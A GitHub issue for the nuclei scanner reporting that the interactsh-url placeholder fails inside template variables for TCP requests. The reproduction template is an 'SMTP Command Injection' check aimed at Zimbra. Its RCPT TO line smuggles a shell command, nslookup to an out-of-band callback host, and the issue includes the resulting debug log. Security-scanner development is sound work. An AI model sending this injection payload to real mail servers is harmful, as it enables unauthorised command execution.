Skip to content

[BUG] interactsh-url placeholder doesn't work in variables for tcp #5669

@Ice3man543

Description

@Ice3man543

Is there an existing issue for this?

  • I have searched the existing issues.

Current Behavior

When using {{interactsh-url}} with variables, it doesn't work

Expected Behavior

It should work

Steps To Reproduce

Make a template with interactsh-url in variables

id: smtp-command-injection

info:
  name: SMTP Command Injection
  author: ProjectDiscoveryAI
  severity: high
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"

variables:
  oob: "{{interactsh-url}}"

tcp:
  - inputs:
      - data: "EHLO {{Host}}\r\n"
      - data: "MAIL FROM:<attacker@localhost>\r\n"
      - data: "RCPT TO:<victim($(nslookup$IFS{{oob}}))@example.com>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: Test\r\n"
      - data: "Test email body.\r\n"
      - data: ".\r\n"
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    read-size: 1024
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Relevant log output

❯ nuclei -t xx.yaml -u example.com -debug

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.1

                projectdiscovery.io

[INF] Current nuclei version: v3.3.1 (outdated)
[INF] Current nuclei-templates version: v10.0.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 255
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[WRN] [smtp-command-injection] Could not make network request for example.com:80: unresolved variables found: interactsh-url
[INF] No results found. Better luck next time!

Environment

- OS: mac
- Nuclei: latest
- Go: go1.23

Anything else?

No response

Metadata

Metadata

Assignees

Labels

Type: BugInconsistencies or issues which will cause an issue or problem for users or implementors.

Type

No type

Projects

No projects

Milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions